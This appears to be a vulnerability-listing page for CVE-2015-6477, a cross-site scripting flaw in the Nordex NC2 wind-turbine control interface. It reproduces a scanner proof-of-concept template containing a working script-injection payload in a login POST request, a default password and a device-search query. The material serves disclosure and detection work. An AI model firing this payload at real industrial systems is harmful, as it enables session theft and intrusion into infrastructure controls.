CVE-2015-6477: Nordex NC2 - Cross-Site Scripting

2025-08-01 Nordex NC2 PoC Public

Description

Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

fofa: app="Nordex-Control"

PoC

id: CVE-2015-6477

info:
  name: Nordex NC2  - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: |-
    Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    fofa: app="Nordex-Control"
  reference:
    - https://seclists.org/fulldisclosure/2015/Dec/117
    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
    - http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2015/Dec/117
  tags: cve2015,cve,xss,iot,nordex
  created: 2024/03/18

set:
  randstr: randomLowercase(16)
rules:
  r0:
    request:
      method: POST
      path: /login
      body: |
        connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en
    expression: response.raw_header.bcontains(b'text/html') && response.body.bcontains(bytes("</script><script>alert('" + randstr + "')</script>")) && response.body.bcontains(b'loginErrorCallback')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2015/CVE-2015-6477.yaml

References

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